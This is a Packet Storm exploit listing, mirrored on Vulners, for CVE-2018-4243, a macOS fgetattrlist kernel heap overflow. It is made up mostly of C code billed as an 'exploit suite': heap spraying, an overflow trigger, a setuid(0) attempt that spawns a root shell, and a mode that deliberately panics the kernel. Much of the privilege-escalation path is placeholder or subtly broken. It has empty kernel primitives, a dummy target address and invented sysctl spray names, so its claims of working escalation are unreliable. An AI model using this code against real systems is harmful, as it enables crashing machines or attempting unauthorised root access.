Lucene search
K

📄 macOS 10.13.4 (17E199) fgetattrlist Heap Overflow

🗓️ 27 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 153 Views

CVE-2018-4243: macOS fgetattrlist heap overflow enabling local privilege escalation.

Related
Code
=============================================================================================================================================
    | # Title     : macOS 10.13.4 (17E199) fgetattrlist Local Privilege Escalation via fgetattrlist heap overflow (XNU kernel)                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://apple.com/                                                                                                          |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212496/ & CVE-2018-4243
    
    [+] Summary : CVE-2018-4243 is a critical kernel heap overflow vulnerability in macOS and iOS affecting the fgetattrlist system call. 
                  The vulnerability allows local attackers to trigger kernel heap corruption, potentially leading to kernel panic, privilege escalation, or arbitrary code execution.
    [+]  POC :	
    
    /*
     * macOS CVE-2018-4243 LPE Exploit
     * Local Privilege Escalation via fgetattrlist heap overflow
     * by indoushka
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <sys/attr.h>
    #include <sys/types.h>
    #include <sys/sysctl.h>
    #include <mach/mach.h>
    #include <string.h>
    #include <pthread.h>
    #include <errno.h>
    
    #define MAX_FDS 1000
    #define SPRAY_COUNT 50000
    #define TARGET_SIZE 192  // Size for controlled heap spraying
    
    // Structure for fake object in kernel
    typedef struct {
        uint64_t next;
        uint64_t prev;
        uint64_t some_func_ptr;
        char padding[32];
    } fake_kobj_t;
    
    // Global variables
    int g_fds[MAX_FDS];
    int g_fd_count = 0;
    pthread_t spray_thread;
    
    // Kernel read primitive (placeholder - needs specific offset)
    uint64_t kernel_read_primitive(uint64_t addr) {
        // This would require specific kernel info leak
        // For PoC, we return dummy value
        return 0;
    }
    
    // Kernel write primitive via heap overflow
    void kernel_write_primitive(void* target, void* data, size_t size) {
        // This is where the actual overflow happens
        // We would craft specific heap layout
    }
    
    // Spray kernel heap with controlled objects
    void* heap_spray_thread(void* arg) {
        printf("[+] Starting heap spray thread\n");
        
        char* spray_data = malloc(TARGET_SIZE);
        if (!spray_data) {
            printf("[-] Failed to allocate spray data\n");
            return NULL;
        }
        
        // Craft fake object with function pointer we want to hijack
        fake_kobj_t fake_obj = {0};
        fake_obj.next = 0x4141414141414141;
        fake_obj.prev = 0x4242424242424242;
        // Target: cred structure or file operations pointer
        
        for (int i = 0; i < SPRAY_COUNT; i++) {
            // Use sysctl for heap spraying (common technique)
            char name[32];
            snprintf(name, sizeof(name), "kern.spray.%d", i);
            
            int mib[3];
            size_t mib_len = 3;
            
            if (sysctlnametomib(name, mib, &mib_len) == 0) {
                sysctl(mib, mib_len, NULL, 0, spray_data, TARGET_SIZE);
            }
            
            if (i % 1000 == 0) {
                printf("[.] Sprayed %d objects\n", i);
            }
        }
        
        free(spray_data);
        return NULL;
    }
    
    // Trigger the overflow with controlled data
    int trigger_overflow(int fd, void* overflow_data, size_t data_size) {
        struct attrlist al = {0};
        al.bitmapcount = ATTR_BIT_MAP_COUNT;
        al.volattr = 0xfff;
        al.commonattr = ATTR_CMN_RETURNED_ATTRS;
        
        // Use small buffer to cause overflow
        size_t buf_size = 16;
        
        // Prepare buffer with crafted data
        void* buffer = malloc(buf_size);
        if (!buffer) return -1;
        
        // Copy overflow payload to beginning of buffer
        // Kernel will write 36 bytes from offset 4
        memcpy(buffer, overflow_data, buf_size);
        
        int result = fgetattrlist(fd, &al, buffer, buf_size, 0);
        
        free(buffer);
        return result;
    }
    
    // Open multiple file descriptors for heap manipulation
    void setup_file_descriptors() {
        printf("[+] Setting up file descriptors for heap feng shui\n");
        
        for (int i = 0; i < MAX_FDS; i++) {
            g_fds[i] = open("/", O_RDONLY);
            if (g_fds[i] < 0) {
                g_fd_count = i;
                break;
            }
        }
        printf("[+] Opened %d file descriptors\n", g_fd_count);
    }
    
    // Close all file descriptors
    void cleanup_file_descriptors() {
        for (int i = 0; i < g_fd_count; i++) {
            if (g_fds[i] >= 0) {
                close(g_fds[i]);
            }
        }
    }
    
    // Attempt to get root privileges
    void get_root_shell() {
        printf("[+] Attempting to get root shell\n");
        
        // Method 1: Direct setuid(0)
        if (setuid(0) == 0) {
            printf("[+] Success! Got root via setuid(0)\n");
        } else {
            printf("[-] setuid(0) failed: %s\n", strerror(errno));
        }
        
        // Check current privileges
        if (getuid() == 0) {
            printf("[+] WE ARE ROOT! UID: %d\n", getuid());
            printf("[+] Spawning root shell...\n");
            
            // Launch root shell
            system("/bin/bash");
        } else {
            printf("[-] Still not root. UID: %d\n", getuid());
            printf("[-] Exploit failed or needs more work\n");
        }
    }
    
    // Main exploit logic
    void exploit() {
        printf("[*] macOS CVE-2018-4243 LPE Exploit\n");
        printf("[*] Attempting local privilege escalation\n\n");
        
        // Phase 1: Heap grooming
        printf("[*] Phase 1: Heap grooming\n");
        setup_file_descriptors();
        
        // Start heap spray thread
        if (pthread_create(&spray_thread, NULL, heap_spray_thread, NULL) != 0) {
            printf("[-] Failed to create spray thread\n");
            return;
        }
        
        // Phase 2: Prepare overflow payload
        printf("\n[*] Phase 2: Preparing overflow payload\n");
        
        // Craft payload to overwrite critical kernel structure
        // This would typically target:
        // 1. File operation pointers
        // 2. Credential structures (cred)
        // 3. VTable pointers
        
        char payload[192] = {0};
        
        // Example: Try to overwrite a function pointer
        // Placeholder for actual exploit payload
        uint64_t target_addr = 0xffffffff12345678; // Hypothetical address
        
        // Fill payload with target address at specific offset
        for (int i = 0; i < sizeof(payload)/8; i++) {
            ((uint64_t*)payload)[i] = target_addr;
        }
        
        // Phase 3: Trigger overflow
        printf("\n[*] Phase 3: Triggering controlled overflow\n");
        
        // Use one of our file descriptors
        if (g_fd_count > 0) {
            printf("[+] Triggering overflow on FD %d\n", g_fds[0]);
            
            // Wait for spray thread to set up heap
            sleep(1);
            
            int result = trigger_overflow(g_fds[0], payload, sizeof(payload));
            printf("[+] Overflow triggered, result: %d\n", result);
        }
        
        // Wait for spray thread
        pthread_join(spray_thread, NULL);
        
        // Phase 4: Attempt privilege escalation
        printf("\n[*] Phase 4: Attempting privilege escalation\n");
        
        // Try multiple escalation techniques
        
        // Technique 1: Direct kernel object manipulation
        printf("[+] Attempting kernel object corruption\n");
        
        // Technique 2: Try to execute privileged operations
        printf("[+] Testing current privileges\n");
        system("id");
        
        // Try to get root
        get_root_shell();
        
        // Cleanup
        cleanup_file_descriptors();
        
        printf("\n[*] Exploit completed\n");
    }
    
    // Fallback: Simple panic if LPE fails
    void panic_if_root_failed() {
        printf("[*] LPE failed, triggering kernel panic instead\n");
        
        int fd = open("/", O_RDONLY);
        if (fd < 0) return;
        
        struct attrlist al = {0};
        al.bitmapcount = ATTR_BIT_MAP_COUNT;
        al.commonattr = ATTR_CMN_RETURNED_ATTRS;
        
        // Use extremely small buffer to maximize panic chance
        size_t buf_size = 4;
        void* buffer = malloc(buf_size);
        
        if (buffer) {
            printf("[!] Triggering kernel panic...\n");
            fgetattrlist(fd, &al, buffer, buf_size, 0);
            free(buffer);
        }
        
        close(fd);
    }
    
    int main(int argc, char** argv) {
        printf("[*] ========================================\n");
        printf("[*] macOS CVE-2018-4243 Exploit Suite\n");
        printf("[*] ========================================\n\n");
        
        int choice = 1; // Default to LPE attempt
        
        if (argc > 1) {
            choice = atoi(argv[1]);
        }
        
        switch(choice) {
            case 1:
                printf("[*] Mode: Local Privilege Escalation Attempt\n");
                exploit();
                break;
                
            case 2:
                printf("[*] Mode: Kernel Panic (Proof of Concept)\n");
                {
                    int fd = open("/", O_RDONLY);
                    struct attrlist al = {0};
                    al.bitmapcount = ATTR_BIT_MAP_COUNT;
                    al.commonattr = ATTR_CMN_RETURNED_ATTRS;
                    
                    size_t buf_size = 8;
                    void* buf = malloc(buf_size);
                    
                    printf("[!] Triggering panic in 3 seconds...\n");
                    sleep(3);
                    
                    fgetattrlist(fd, &al, buf, buf_size, 0);
                    free(buf);
                    close(fd);
                }
                break;
                
            default:
                printf("[!] Invalid mode\n");
                printf("[!] Usage: %s [mode]\n", argv[0]);
                printf("[!] Modes: 1=LPE attempt, 2=Kernel panic\n");
                break;
        }
        
        return 0;
    }
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jan 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 37.8
CVSS 29.3
EPSS0.28347
153